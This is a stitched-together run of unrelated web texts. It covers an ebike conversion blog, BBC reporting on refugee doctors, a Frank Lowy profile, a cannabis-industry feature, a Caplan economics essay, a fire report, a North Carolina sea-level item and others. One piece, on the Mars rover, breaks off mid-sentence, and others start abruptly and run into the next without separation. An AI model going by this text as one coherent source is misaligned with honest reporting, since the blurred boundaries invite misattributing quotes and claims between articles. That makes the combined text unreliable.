The older version of the Deadeye Monster single speed from Bikesdirect shipped with a 68mm BB, 50mm rims, 100mm front dropouts and crappy Mission 4 tires. The newest version ships with a much more standard 100mm BB, 80mm rims, 135mm front dropouts and the much-less-crappy Mission Command 4 tires for the same low price of $399 shipped right here. To date, I can find no deal for a fat bike that really compares to that. For an aluminum framed fat bike that doesn’t suck for less than $400 shipped it’s likely the best deal you will find, and I’ve spent a lot of time looking. If you are considering an IGH setup like the Nexus 3, Sturmey Archer 3 speed or a CVT like the N380, N360, N330 or N171 then this is the budget donor bike to use as it has adjustable horizontal rear dropouts. The Deadeye Monster does not have the right rear axle tensioning M5 bolts for installing a IGH or CVT, but you can buy them at McMaster Carr or any hardware store. Make sure they are really long and have lots and lots of thread on them, then screw them in through the existing holes in the front of the dropouts.
The Cyclone 3000W drive system with the 100mm axle kit mounted to this frame without any real issues (instructions are here). I was worried that the giant chainring would interfere with the chainstay, but the chain wheel on the cyclone mounts on the crank arm and is pretty far away from the frame of the bike. Although the chain line was pretty whacked, the chain has yet to fall off even once. I started out with a 32T chainring on the front but then switched to a 36T chainring so that I could increase my top speed to around 35mph with a steady slow pedaling cadence. I started out with an 18T freewheel but that quickly self-destructed on my second trail ride so I replaced it with a 18T steel fixie instead. The cyclone comes with a double freewheel so the fixie works well with this setup and it will never break. White industries makes nigh-indestructible freewheels, but I couldn’t see springing $100 on a freewheel, and the 18T steel fixie was only $15 brand new on ebay.
On the Cyclone kit I had trouble with the 5 bolts on the chainring that mount the giant steel chainring to the freewheel on the pedal. All 5 of those hex bolts need to be removed and fitted with blue Loctite. In fact, pretty much every single bolt on the Cyclone should be removed and fitted with Loctite so that they don’t work their way free. I also recommend bagging the giant black tie wrap which also broke on my first time out, and replacing it with a couple of cheap stainless hose clamps from your local hardware store. They should run about $1 each and they do a much better job of keeping the motor from twisting on the motor mounts under load.
The 3000W Cyclone performs well in deep snow, always seeming to have enough power. I wish I could say the same for the Mission Command 4 tires, if you want to ride in the powder you will need to use chains.
The Cyclone drive system works much better at 52v than at 48v. It’s important that you have a pack that can put out at least 40Amps continuous, or you won’t be getting all the power that this drive system can offer. Lunacycle has 60v packs available now and is working on designing some 72v packs in the not to distant future. The Cyclone is geared very low and produces a lot of power at slower pedaling cadences. The N171 weighs in at almost 9 lbs and it adds a lot of rotational momentum to the rear wheel. My feeling is that while the N171 seems to be able to take the power of the Cyclone kit, it is ill-suited to singletrack trail riding mostly due to the fact it is just too darn heavy. If I was to do this build again I’d probably opt for a Nexus-3 IGH instead of the N171. The range would have been far less (186% vs 350%) but it would have been about 7 lbs lighter in the end.
The N171 was discontinued 6 years ago but there still seems to be plenty of them floating around the internet. I bought mine brand spanking new last year from someone on Endless-Sphere for $100 +$28 for shipping. I’ve had no issues with mine, but it was quite a pain to install. The new N380 shifter is much less trouble to install and configure than the N171 system is. Once you figure it out it makes sense and the manual is here, but it took me about an hour of serious head-banging to get it right.
This build easily goes over 35mph on the flats with a 52v pack that can put out 40 amps. It also seems to scream up most hills. There are several serious problems with this build though.
When you go as fast as you can up hills you consume massive amounts of power. You can burn through a 20Ah pack surprisingly fast on a big hill. When you go over 35mph for extended periods you consume massive amounts of power. Tire friction and air resistance combine to make a formidable foe. The bike goes wicked fast on slight downhills at full power. No cop would let you just scream by without stopping you and writing you a ticket OR just telling you how awesome he thought your unlicensed, unregistered, uninsured ebike was. This ebike is not even remotely street legal in any state. I’m not sure how reliable the Cyclone drive unit is for long distance commuting. Time will tell. It seems to do decent on singletrack, but the back end feels pretty heavy with the N171.
These things are to be expected when you build a bike that is not necessarily a special purpose ebike. If you can only have one ebike, and you need something cheap that goes fast and you can ride it in the woods, then this might be a decent build for you. I recommend that you spend a little more and build a dedicated trail bike and a dedicated commuter. In the end, you will be happier for it.
Welcome to The Dark Side. We have cake. (The cake is a lie)
Ride On.Image caption Refugee doctor Rouni Youssef with his mentor Dr Sue Jones and an elderly patient
A pioneering scheme that aims to harness the skills of refugees fleeing conflict and unrest in their home countries could help boost health services in north-east England.
Middlesbrough has the highest number of asylum seekers in the UK. Around one in every 186 people in the town is seeking refugee status, well over the government guidelines of no more than one in every 200 of the local population.
But many of the refugees are skilled professionals such as doctors or pharmacists, skills that happen to be in short supply in the area.
I have been to meet the foreign doctors who are participating in the scheme. Unable to practise their profession at home, they are embracing the opportunity to use their skills in an understaffed NHS.
Rouni Youssef, 27, picks up a patient's notes from the trolley outside the curtained cubicle and begins to thumb through the details.
"Interesting," he mutters to himself. "I think we should do an MRI."
I ask him what the day ahead on the hospital ward is looking like but Dr Youssef does not hear me. He is focused on the medical details before him, his eyes flicking feverishly over the scans like a sleuth over clues.
"Maybe some kidney malfunction here," he says.
Image caption Dr Rouni Youssef is currently on an unpaid clinical placement
Dr Youssef is polite and friendly towards me but I know I am holding him back from what he would rather be doing. It is, after all, what he has dreamed of doing all his life and what he has spent so many years training to do.
"I'm a Kurd from Aleppo," he shrugs. "And I'm a medical doctor but it just became too unsafe to stay in Syria and in 2014, I had to flee.
"I ended up here in Middlesbrough with nothing: no friends, no family and no career. I couldn't be a doctor any more. You can't imagine how that feels. It was like someone had cut off a body part.
"I was nothing and I had to start from scratch."
But thanks to the scheme run by the North Tees and Hartlepool NHS Trust and a refugee charity called Investing in People and Culture, Dr Youssef once again is sporting a stethoscope around his neck.
He is currently on an unpaid clinical placement at the University Hospital of North Tees but he has just taken the second part of his Plab exams (an assessment conducted by the General Medical Council which all overseas doctors from outside the EEA must pass before they can legally practise medicine in the UK). If he passes, he will start applying for jobs in September.
"I'd love to be a consultant paediatrician," he admits shyly. "Babies are such dear little creatures - they're like angels, you know?"
Image copyright North Tees & Hartlepool NHS Foundation Trust Image caption Dr Jane Metcalf says the pilot scheme is a "win-win situation"
Dr Jane Metcalf, deputy medical director at the hospital, pops down to the ward to find out how his latest exams have gone.
She describes the Resettlement Programme For Overseas Doctors as primarily a humanitarian project to get skilled healthcare professionals back into practice but she also admits that, since the North East has a shortage of qualified doctors, it is also in the trust's interests to use their refugee resources.
The current scheme comprises 11 doctors and one pharmacist, from Syria, Afghanistan, Iraq, Iran, Yemen, Sudan, Pakistan and the Congo.
"It's a win-win situation," Dr Metcalf explains. "Although the training is rigorous, the cost is low... to help the doctors through their exams and English tuition it's about £5,000 per doctor and when you compare that to the £250,000 it takes to train someone in the UK through medicine, it's pretty cost-effective.
"If we can get doctors like Rouni back into practice within a year that would be a tremendous achievement."
The biggest hurdle for the doctors though is passing the extremely high level, but requisite, English exam.
In an upstairs room at Middlesbrough library, the other doctors on the pilot scheme are learning about the inappropriate use of colloquial English in the written form.
Everyone is grumbling about the finicky example on the white board which, despite being a native speaker and having a university degree in English, even makes me pause for thought.
Image caption Eli (L) and Ahmad (R) are among those on the scheme studying for the extremely rigorous English exam
Eli, a GP from Congo, has had a long and difficult battle to win refugee status and was unable to join the scheme until his asylum papers were granted. While waiting however, he volunteered for the Alzheimer's Society and is now determined to work in geriatric medicine.
"We are refugees, yes," he smiles. "But we are doctors too. We don't take this opportunity for granted. Before this programme we had no road, no route. Now we have hope again. And we can give something back."
Ahmad, from Afghanistan, was just months away from completing his medical training as a specialist in paediatric orthopaedics when his life was threatened by the Taliban, forcing him and his family to flee Kabul.
"Now I'm optimistic for the future," he says. "I know that one day soon I will practise my passion again."
Outside the library I meet Bini Araia, founder of Investing in People and Culture, the charity working in partnership with North Tees and Hartlepool NHS Trust. He tells me that before the scheme's existence, many of the refugee surgeons and doctors, under pressure from their local job centre, were resigned to a life in the UK working in factories, garages or supermarkets.
"But we have a ready-made skill set!" he tells me. "And it's great to show with this programme that refugees can benefit UK society."
Image caption The programme shows refugees can benefit UK society, says IPC founder Bini Araia
Back on the ward at the hospital, there are no "baby angels" for Dr Youssef to treat today. Instead, his mentor, consultant physician Dr Sue Jones, asks him to join her as she examines an elderly patient who has been complaining of acute hip pain. Dr Youssef jogs eagerly to the patient's bedside.
"Well hello sir!" he beams. "And how are you feeling today? Is it really true you're 101?" He squats down and holds the man's hand, joking with him and reassuring him. I catch Dr Jones's eye. "Isn't he impressive?" she mouths delightedly.
Dr Metcalf wants to encourage other NHS trusts to implement the resettlement scheme for refugee doctors, something Dr Youssef welcomes.
"When I first walked back on to the ward," he remembers, "it felt like I had been fasting for 18 hours and then someone gave me a sip of cold, delicious water."
We walk together to the Rapid Assessment clinic.
"I want to be a doctor here in Middlesbrough," he continues, "because the people are so friendly." Then he grins."But the local accent here, it's a bit, um, fresh, isn't it?"
Emma Jane Kirby reports for BBC Radio 4's World at One programme.In the so-called Bank Leumi affair that dominated headlines in Israel, Lowy was described as nothing more than an "Australian real-estate magnate". No mention was made of the fact he had come to British Mandate Palestine as a migrant in the aftermath of World War II, had fought alongside Olmert's predecessor Ariel Sharon in the 1948 War of Independence, and was now one of Australia's most successful businessmen. As there is no equivalent of the "w" sound in the Hebrew alphabet, Israelis were not even sure how to say Lowy's name, often pronouncing it as "Louie". The mispronunciation is said to have annoyed Lowy but, according to a senior Israeli newspaper reporter who knows him and who spoke to the Herald on condition of anonymity, it was an accurate reflection of Lowy's low profile. "This is a man who has deliberately sought to be under the radar here. There are lots of billionaires who float in and out of Israel, naming foundations after themselves. But not Lowy." It may not bear his name, but the Israeli version of Sydney's Lowy Institute for International Policy - the Institute for National Security Studies, attached to the University of Tel Aviv - is equally his creation.
As its chairman, Lowy has gathered some of the most influential policymakers in Israel and wealthiest international benefactors to sit on its boards. Much like the Lowy Institute in Sydney, it is a respected independent academic institute that studies key issues relating to national security and foreign affairs, but with a special focus on the Middle East. Its vice-chairman is Dan Meridor, a prominent lawyer and former politician in the centre-right Likud party. Meridor served as justice minister and finance minister in the 1990s, and is contemplating a return to politics with the Likud. Also on the board are the Israeli building contractor Alfred Akirov, the president of Tel Aviv University and former Israeli ambassador to the US, Itamar Rabinovich, and the Australian-born Martin Indyk, twice the US ambassador to Israel during the Clinton administration. Among those on the board of trustees are Lord David Alliance, an Iranian-born Jewish-British businessman and Liberal Democrat politician, and Sir Ronald Cohen, an Egyptian-born Jewish-British businessman known as "the father of British venture capital" and the man who bankrolled the leadership bid of the Prime Minister, Gordon Brown.
Other trustees are the Chicago real estate mogul Lester Crown and the US property tycoon Mortimer Zuckerman, who owns New York's Daily News and is editor-in-chief of the influential US News & World Report. One man who has known Lowy for almost 25 years is Avinoam Brog, president of Israel's leading market research and polling firm Market Watch, and brother of the former prime minister and current Labour Party chairman, Ehud Barak. Brog got to know Lowy in the 1980s, when he was executive director of the Sydney branch of Keren Hayesod, the central fund-raising organisation for Israel throughout the world. "First understand how deep is Frank's attachment to Israel," Brog told the Herald. "He fought for this country's independence from the British in 1948, and then Israel offered him a home before he joined other members of his family in Australia. "By the time I served with Keren Hayesod in Sydney, Frank was a successful businessman and so, given his connections to this country, we got to know each other well."
Lowy and Barak also enjoyed "a very long and warm friendship", Brog said. "He brought Ehud out to Australia I think on several occasions, and whenever Frank is in Israel, which is often, I think the two would see each other … His influence is such that if he wanted to talk to any politician in Israel, then he could. And they will listen. I mean no disrespect to [Lowy], but that does not mean that anyone goes away and does what he tells them to." Brog, who described Lowy's politics in Israel as "centre-left", said he believed he had also been a strong supporter of, and donor to, the Labour Party. He had also been a "very, very generous donor to Keren Hayesod" since the 1980s, Brog said. "And I would expect that that financial support has only increased in the years since." According to a handful of Australian and Israeli businessmen who are active in Israel and keep an eye on Lowy's movements in that country, the money that he puts into the Institute for National Security Studies and Keren Hayesod are the two main concerns he devotes time to outside his business interests. Lowy's son David manages a family-owned hedge fund, Ion Asset Management, which, although domiciled in the Cayman Islands, focuses its investments in publicly traded Israeli and Israel-related securities. It is based in Tel Aviv.
But if Lowy does donate money to a wide range of causes, he does it discreetly, unlike the Pratt Foundation, the highly visible charitable organisation funded by Melbourne's cardboard king Richard Pratt. "If you want to find Frank Lowy in Israel, the best place to catch him is at the Tel Aviv Hilton," said one source, who declined to be named. Loading Lowy built and owns an apartment building behind the Hilton on Tel Aviv's main waterfront boulevard and spends about three months of the year in Israel. "I often see him there relaxing with friends, just enjoying being a relatively anonymous person," the source said.Cartoon ponies turned cartoon humans turned actual humans — is your head spinning yet?
No? In that case, you’ll enjoy this brand-new music video for “The Magic of Friendship,” a kicky pop tune being used as the “brand anthem” for My Little Pony Equestria Girls. In the clip, real girls cast as avatars for the movie’s animated characters — who are themselves hominid versions of My Little Pony Friendship is Magic‘s Mane 6 — introduce a school cafeteria to, you guessed it, the joys of companionship. They also teach a new dance called the EG Stomp, performed more easily with hands and feet than hooves.
Watch below:
Equestria Girls makes its TV debut Sunday, Sept. 1, at noon ET. The full-length feature film is already available on DVD and Blu-ray; it will be released for digital rental and purchase Sept. 2.NASA/JPL-Caltech/Cornell
NASA/JPL-Caltech/University of Arizona/Cornell/Ohio State University
Inch by power-conserving inch, drivers on Earth have moved the Mars rover Spirit to a spot where it has its best chance at surviving a third Martian winter -- and where it will celebrate its fourth anniversary (in Earth years) since bouncing down on Mars for a projected 90-day mission in January 2004.
Meanwhile, researchers are considering the implications of |
to discuss her objection to Wisconsin public schools' teaching of labor union history. Left unsaid during the segment: The parent, Amber Hahn, is also a local GOP official.
Fox & Friends, which asked last week if teaching labor history in Wisconsin schools is "pro-union propaganda," used the interview with Hahn to renew its attacks. A graphic that aired during the segment asked if Wisconsin schools are "pushing the union agenda," and co-host Gretchen Carlson asked Hahn if she thought the lessons on unions are "biased."
At the end of the interview, Hahn thanked the hosts for "bringing light" to the issue. Watch:
This is now the second time Fox has masqueraded a GOP activist as a concerned parent to attack unions. As Media Matters noted on February 18, Your World guest host Chris Cotter interviewed "Wisconsin parent" Dave Westlake to attack teachers for calling in sick to protest, resulting in some schools in Madison, Wisconsin, being closed. Not noted was the fact that Westlake ran for Senate in Wisconsin, losing in the GOP primary.The drive to Casey and Amber O’Neill’s HappyDay Farms winds up a dirt track off Highway 101, three hours north of San Francisco. The road climbs to 3,000 feet along a ridge with stunning views of pine-covered mountains and the blue band of the Pacific Ocean, 25 miles to the west.
As I turn down the O’Neill’s pitched driveway, a barking Great Dane–Catahoula named Emma rushes me, hackles raised. Casey and Amber insist she’s friendly, but it be would difficult to approach the O’Neill homestead undetected. And that’s by design.
The O’Neills grow cannabis in northwestern California’s infamous Emerald Triangle, a densely forested region of labyrinthine back roads, secret valleys, and perennial creeks. For more than 40 years, it’s been a great place to hide out and grow a prohibited but highly desired product — not just for the O’Neills, but for scores of other off-the-books growers, many of whom have been farming here for generations.
Casey O’Neill was born 35 years ago on this hilly, 20-acre spread. One acre of his property is flat enough to produce vegetables and strawberries, which he sells to nearby restaurants and members of a CSA. But it’s the rows of cannabis that bring in most of his income. His brother and father grow the same lucrative product on adjacent properties: a well-known hybrid strain called The Great Success, which took 11th place out of more than 650 entries at last year’s Emerald Cup, the state’s premier pot competition.
The Emerald Triangle is the Napa Valley of cannabis. Blanketing more than 10,000 square miles in Trinity, Humboldt, and Mendocino Counties, the region produces about 60 percent of the nation’s pot, most of which heads out of state on the black market.
And just as winegrowing and tourism dominate Napa County’s economy, so does cannabis dominate here, helping to fill the void created by the collapse of the once-robust fishing and timber industries. In Humboldt County, the region’s heart, researchers estimate that cannabis provides a third of private-industry revenue; in the triangle at large, the California Growers Association, a cannabis trade group, says every dollar spent on the cannabis industry leads to at least two dollars spent elsewhere.
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But change is coming, thanks to voters’ passage last year of Prop 64. Starting in 2018, Californians will be able to legally grow and possess recreational cannabis. That’s in addition to medical weed, which the state legalized in 1996.
From an environmental standpoint, ending prohibition should be a boon. Illegal cultivation creates a raft of environmental problems — erosion, clear-cutting, garbage dumping, poisoned watersheds, and water diversions from creeks that support imperiled salmon and steelhead trout. The state will also begin collecting fees and taxes from growers who go legit; about $1 billion is expected next year, of which 20 percent will go toward watershed protection and remediation of state lands that were damaged by growers.
But for the O’Neills and other small-scale growers in the Emerald Triangle, legalization looks a lot less appealing. Many are either unable or unwilling to pay state or county fees, and even for those who can, legalization will increase competition from large-scale, cut-rate growers.
Fred Krissman, a Humboldt State University anthropologist conducting field studies of cannabis growers in the region, predicts “massive increases in unemployment, poverty, child hunger — a disaster.” The transformation might also offer a cautionary tale to other states embarking down the path of legalization.
In 2016, California’s legal medical cannabis industry — which fills the shelves of regulated dispensaries throughout the state — generated $1.8 billion in revenue. Meanwhile, the illicit markets pulled in $5.1 billion, according to the Arcview Group, a cannabis investment and research firm in Oakland.
Once legal recreational cannabis hits the market, Arcview forecasts its value will hit $5.8 billion in the next four years.
But how much of that pot will come from the Emerald Triangle? So far, only about 3,000 of the region’s operators, out of roughly 50,000 farms or “grows,” have applied for permits and licenses, but that number is growing as more growers come forward. For some operators, the cost of legalization – tens of thousands of dollars for even a modest-size operation, not including attorney and consultant fees — is simply too high.
Compounding the financial hit is competition from the south, where well-capitalized operators are planting cannabis in giant Salinas and Central Valley greenhouses and urban industrial parks. Economies of scale, plus easy access to labor and highways near lucrative markets, lower those operators’ price point to about $1,300 a pound. Just a few years ago, Emerald Triangle growers could get more than triple that.
As if that weren’t bad enough, the Emerald Triangle’s growers who have chosen to go legit, including the O’Neills, face further competition close to home. With lower overhead and no sales tax or permit fees, growers who choose to stay illegal can easily undercut legal operators’ prices.
As the industry emerges from the underground economy and blinks in the bright light of regulation, no one is quite sure what success will look like. The cannabis industry has existed outside the law for decades, but also well outside of mainstream agriculture. That has allowed small-scale growers to maintain financially and environmentally sound family-owned plots — a rarity in the rest of the ag industry, which has grown dependent on chemical companies and squeezed by low crop prices.
“We’ve seen how 20th century agriculture can be really bad for community, and really hard on the land, hard on workers and families,” Casey O’Neill says. “If we don’t build a different 21st century agriculture, we’re fucked.”
Done right, he adds, cannabis legalization offers a way to keep small, diversified pot-and-produce farms like his afloat. “It’s much bigger than growing some weed. We’re trying to put a face on small farms and communicate what we do, and why it’s valuable to society.”
When I first met Humboldt State’s Fred Krissman at a California Bureau of Medical Cannabis Regulation meeting in Santa Rosa last year, I thought he was a grower. He looked the part, sitting in the back of the room wearing a beanie pulled low and a cannabis farm T-shirt.
As an anthropologist studying cannabis growers, he cultivates the look to better mix with his research subjects, with whom he lives for days at a time.
Krissman works at Humboldt’s five-year-old Institute for Interdisciplinary Marijuana Research, the first academic research group to focus on cannabis — the role it plays in the regional economy and its impacts on community relations, the environment, and human health.
He hopes a majority of cannabis farmers can find the environmental and economic balance that Casey O’Neill exemplifies, but as an academic, Krissman is skeptical.
The industry’s shift into the legal sphere, he says, may pressure all cannabis growers — legal and illegal — to operate more like modern agriculture, with its “get big or get out” ethos of debt, larger investments in equipment, labor and facilities, and offsite corporate ownership.
In 2014, after Colorado legalized recreational and medical cannabis, prices plummeted as scores of new growers flooded the market, many of them large-scale operations that hold licenses for cultivation, distribution, sales, and other business activities.
According to Cannabase, a Colorado-based online retail site, the wholesale price for a pound of recreational pot dropped 38 percent in 2016, while medical marijuana fell by 24 percent. A similar phenomenon is happening in Washington State, which legalized recreational cannabis in 2012.
As an example of how industrial pot could affect California growers, Krissman points to Harborside, an Oakland-based cannabis dispensary that’s developing a 47-acre farm with 360,000 square feet of greenhouses in the Salinas Valley. Jeff Brothers, that company’s chief executive officer, told a reporter this past April: “If we want cannabis to be widely accepted, we need it to be cheap.”
That’s an imperative with which Krissman vehemently disagrees.
“If we force the cannabis industry into the capitalist mode of agribusiness,” he says, “this is the logical transition that’s going to occur — the one that our politicians and many people say they don’t want.”
To help protect Northern California’s traditional growers, Krissman suggests limiting farms to one acre, as well as imposing a government-subsidized floor price of $1,000 per pound at the farm gate — a proposal he realizes has little chance of passing muster in the current regulatory climate.
The growing glut of cannabis is already pushing prices to that floor, with no sign it will hold. But if public policy makers really do want rural communities to thrive, Krissman says, then they have to enact laws protecting them.
State lawmakers have created a tiered-fee structure, based on the number of plants and size of operation, to help cottage-scale growers survive in the post-legalization landscape. But even that, many say, isn’t enough to help Emerald Triangle growers match the economies of scale enjoyed by larger operations to the south.
Susan and Paul, partners in a small medical cannabis company called Lovingly and Legally Grown, are among those who fear the legalization juggernaut. They asked that their last names not be used because of ongoing raids in their region by authorities, even on legal growers.
They belie the cliché that all pot growers are raking in the money. Last year, they grossed $35,000, producing and distributing a line of tinctures, oils, and balms, working with doctors to create custom blends of cannabinoid (CBD) — a non-psychoactive compound that treats anxiety, epilepsy, arthritis, and other ailments.
Under the new regulatory framework, they estimate their annual fees and permits will top $30,000 next year.
“This is what is presenting us with this terrible quandary right now,” says Susan over a table filled with her homemade cheese, almonds, and gluten-free crackers. “We don’t know if we can continue.”
She and Paul now travel the state, attending hearings on cannabis regulation and explaining how legalization threatens to annihilate those who choose to stay small.
“Everybody wants to get their beak wet,” Paul adds. “All they know is this is a billion-dollar industry, and they want their piece of the pie.”
Indeed, 250 miles south of the Emerald Triangle, in California’s Salinas Valley, a 21st century cannabis industry is rising amid the region’s traditional crops of lettuce, strawberries, artichokes, broccoli, and wine grapes.
To protect Salinas Valley’s existing $5 billion agricultural industry, Monterey County officials have restricted cannabis cultivation to existing greenhouses, a land-use decision that has kicked off a real estate frenzy for tumbledown buildings that used to grow cut flowers until NAFTA opened the door to cheaper Colombian imports in the 1990s.
“Greenhouses are the most efficient way to grow,” says Omar Bitar, co-founder of Grupo Flor, a Salinas-based cannabis business consortium. “We have the ag infrastructure and, most importantly, we have the labor pool.”
Today, Grupo Flor leases or owns about 2.6 million square feet of greenhouse and indoor growing space in Monterey County. Eight-foot-tall chain-link fences, topped with razor wire, encircle the properties, which are dotted with security cameras and large “no trespassing” signs.
Inside the greenhouses, computer programs manipulate light exposure, spurring plants to flower early and produce multiple crops a year, instead of the single crop that outdoor growers, reliant on the sun, raise.
At Grupo Flor’s Salinas office, a whiteboard lists revenue projections for each of the company’s five business ventures: real estate, cultivation, manufacturing, investment, and retail. This year, the company will gross $5 million from its leases, says Gavin Kogan, a Grupo Flor cofounder. Next year, if all goes well, he projects gross earnings, from all Grupo Flor ventures, of $30 million and more than $80 million in 2019.
A former cannabis business attorney who favors checkered Van’s skateboard shoes, Kogan claims not to be motivated by riches. Instead, he touts the ability of cannabis to create economic opportunity for the majority-Latino population in an area riven by crime and lack of economic opportunity. Salinas has the highest youth homicide rate in the state and a total gun murder rate more than seven times the national average.
“The goal is to make the Salinas Valley the central plumbing for the California cannabis industry and generate jobs and completely reconstitute the economic infrastructure of this valley,” Kogan says.
And what of the Emerald Triangle growers? Kogan says he understands their plight and doesn’t want to take their business.
“I’ve faced open hostility from North Coast folks with what we’re doing here,” he admits. “But we’ve got multi-generation growers down here as well, and we’re doing what’s available to us.”
What’s available to northern growers, he adds, is appellations: identifying and marketing products with distinct geographical place names — a strategy employed by winemakers around the globe. (The California Growers Association is already pursuing this avenue.)
Emerald Triangle growers could also distinguish their product as sun-grown buds, distinct from anything cultivated under a roof in Monterey County.
But there’s another hitch: flower power may be on the decline. To appeal to new consumers, Kogan says the industry is moving away from smokable bud toward salves and candies made with cannabis oil — a commodity in the making. That’s where much of Grupo Flor’s business lies. It remains to be seen if customers will continue to seek out Emerald Triangle flower over more versatile oil.
Can big pot and little pot coexist, as Kogan imagines? Alicia Rose consulted for the Napa Valley wine industry before she opened a virtual cannabis dispensary called HerbaBuena, which specializes in sun-grown, biodynamic cannabis from heritage Emerald County growers.
She sees an opportunity for branded “farm-to-table” cannabis that comes with a story – for example, flowers grown outdoors by organic farmers on a small family plot in an ocean-cooled valley in Mendocino County — as the best hope for Northern California’s cottage growers.
For the Napa Valley of pot to survive, in other words, it might have to learn and adopt the marketing lessons of the actual Napa Valley.
“It gives me a little glimmer of hope we’ll be able to stay above the fray,” she says. Her hesitation? Backwoods growers who have long operated under the radar lack a certain business savvy. After all, they’ve succeeded in large part thanks to their ability to lay low. And that doesn’t usually translate into Napa-like promotional and sales skills.
Casey O’Neill, however, may have the adaptive qualities to make it in California’s new cannabis economy. Over the decades, he has played many roles: black market grower, plant breeder, cannabis consumer, and felon (he spent two months in the Mendocino County jail for cultivation). Now he’s a tax-paying cannabis farmer and policy activist.
Through it all, he has argued for the value of cannabis as a medicine, and for the benefits of small-scale, environmentally sound cultivation. Today, laminated cultivation permits hang on posts at the entrance to his farm. He relishes the security, predictability, and peace of mind that comes from running an above-board business.
Serving on the board of directors for the California Growers Association, O’Neill has become a strong advocate for small-scale cannabis cultivation. Perhaps hedging his bets, he also recently accepted a position in business and policy development at Flow Kana, a cannabis distributor building a 85,000 square-foot “cannabis campus” in nearby Redwood Valley.
The facility, which also houses a retreat center, will process, test, and distribute co-branded cannabis from some 80 boutique Mendocino and Humboldt county growers, operations not unlike the O’Neills’ HappyDay Farms.
So far, Emerald County growers don’t consider the San Francisco–based Flow Kana a threat. Rather, it’s a lifeline that, if all goes well, will help them stay afloat. Casey and Amber trust that the co-op will help them reach “discerning customers” — people who will seek Mendocino County sun-grown weed the way wine drinkers seek biodynamic-certified Napa cabernet.
“The strength of the story is what we’re counting on to keep us in the game against bigger, more capitalized operations,” O’Neill says. “Grown in a greenhouse has only so much story to it.”
Produced in collaboration with the Food & Environment Reporting Network, a nonprofit, investigative news organization.The Joy of Market-Clearing Wages By Bryan Caplan
When people compare the U.S. and Europe, they often conclude that the U.S. is richer and more economically efficient, but that Europe is happier because they don’t measure everything in dollars and cents (or even Marks and Pfennings). One of the prime examples people often point to: America’s less regulated, more flexible labor markets versus Europe’s highly regulated, highly rigid labor markets. (Exceptions: The UK and Holland). The U.S. sure looks more efficient, but many think of the European system as more humane.
There is a broad consensus among economists that European-style labor market regs are the main reason why European unemployment is so much higher than that in the U.S. Everyone from me to Paul Krugman agrees.
Still, you might argue that the European approach makes people happier. There is some increased risk of unemployment, but workers get higher earnings. If labor demand is inelastic, it seems like this could make most people better off. (Even this needs lots of qualifications, but I’ll buy it for the sake of argument).
So what? Well, if you delve into the life satisfaction literature, you learn two fun facts.
1. Once you reach a modest standard of living, additional income does not increase life satisfaction very much. Marginal utility of wealth decreases rapidly – maybe even more rapidly than you thought. (Having been a happy grad student on $6000/year, it’s not more rapid than I thought).
2. Unemployment per se has a large effect on life satisfaction. If you compare two people with equal incomes, one employed, one unemployed, the unemployed one is typically a lot less happy.
Just to get a feel for these results, Donovan and Halpern report (Chart 11) that about 80% of people in almost every occupational category is “fairly” or “very” satisfied with their lives. Manual laborers and white collar workers are nearly equal in satisfaction. Managers are a bit higher, around 90%. But the unemployed are fully 20 percentage points less likely than most workers to be satisfied with their lives.
Suppose, then, that labor market regulation could raise the incomes of manual laborers up to the level of white-collar workers. That’s a big change, but the extra income would probably add at most 1 percentage point of life satisfaction. If a side effect of the regulation was increasing the unemployment rate by 5%, however, this gain would be exactly balanced by the decreased satisfaction of the unemployed. And this is true even if we ignore all of the other side effects of the regulation – from extra taxes to pay for extra workers on the dole, to higher prices from restricted supply.
If you think this is remotely accurate, you will flee in terror from any regulation that might marginally push up unemployment. Flexible labor markets are more than just efficient. Contrary to popular prejudice, they also make a lot of people happy by making it easy to find a job.SCHUYLKILL COUNTY, PA – At 11:55 PM on Sunday, May 13, Schuylkill County 9-1-1 Transmitted Box 37 for the address of 231 Pierce Street in the City of Pottsville for a reported house fire with entrapment. Responding units were advised of multiple calls reporting a fire with multiple people trapped within.
The police department arrived on the scene and confirmed a fully involved single family dwelling. Police requested one of the truck companies come right down Pierce Street and set up. Engine 11 arrived and took the address and began to stretch lines. Ladder 21 came up Pierce Street while Ladder 51 came from the opposite direction. Engine 32 arrived and also began to stretch lines. P-5 arrived and assumed command of the incident requesting a second alarm be struck.
Policed relayed they received reports of multiple people unaccounted for in the house. Multiple EMS units from Pottsville and Schuylkill Haven ALS staged at different points around the scene.
Crews experienced water issues while trying to contain the blaze which let the fire burn rapidly. Foam was introduced to the lines off Engine 11 which also utilized the deck gun charged with foam.
The fire continued to tear through the building and lick up the side of the exposure on the “D” side of the building. Crews entered the exposure and also went to the roof to check for extension.
The bulk of the fire was knocked down within twenty minutes of the first arriving crews. The fire was put under control at 12:57 AM. Extensive overhaul was needed with crews remaining on scene throughout the morning.
A County Coroner was requested to scene for six fatalities. Two adults and four children perished in the fire. At least three firefighters were injured while battling the blaze including one who fell off a ladder. All firefighters were believed to have minor injuries.You must enter the characters with black color that stand out from the other characters
— State officials are seeking public comment on an updated report that shows the sea level along North Carolina's coast will continue to rise over the next 30 years – most notably in the northeast by up to 10.6 inches.
Released Tuesday by the Coastal Resources Commission's Science Panel, the report presents three scenarios for rising seas along the coast through 2045, based on global predictions and historical data from five tidal gauges from Duck to Southport. Variations in geography and ocean currents mean the southeast will see the smallest increases – as few as 1.9 inches in one model – while the seas around Duck will rise much more quickly.
But the panel also emphasized that, regardless of the rate of rising sea levels, coastal residents should expect more frequent flooding in low-lying areas.
The CRC's Science Panel used three scenarios to project sea level rise. One relies on historical data from tidal gauges, while the other two combine local data with global data from the Intergovernmental Panel on Climate Change. These models use the IPCC's low greenhouse gas emissions scenario and the high greenhouse gas emissions scenario. SOURCE: Division of Coastal Management
The report updates projections made in 2010, as required by the General Assembly.
After a nine-month-long public comment period, the commission will finalize its report for lawmakers in March 2016 that might include recommendations for policy changes to help plan for the future. That means members must decide how to handle the uncertainty in the predictions.
That uncertainty is one of the reasons the panel, made up of engineers, geologists and marine scientists, chose to present three scenarios, a tactic also used by the U.S. Army Corps of Engineers.
The first model shows more linear – and less pronounced – sea level rise based only on projections from historical tidal gauge data, ranging from an average 2.4-inch rise in Wilmington and Southport to an average 5.4-inch average rise in Duck.
The other two scenarios incorporate global sea level data from the Intergovernmental Panel on Climate Change based on the highest and lowest projections for greenhouse gas emissions. Combined with tide gauge data showing how quickly local coastlines are sinking, the models show a much faster increase in sea levels ranging from an average 5.8 inches in Wilmington to an average 8.1-inch rise in Duck.
Read the reportThe project
Yep, this project is about reinventing the wheel. But don't let that put you off - this is serious!! I have spent much of the last four years developing bicycle wheels with integral suspension.
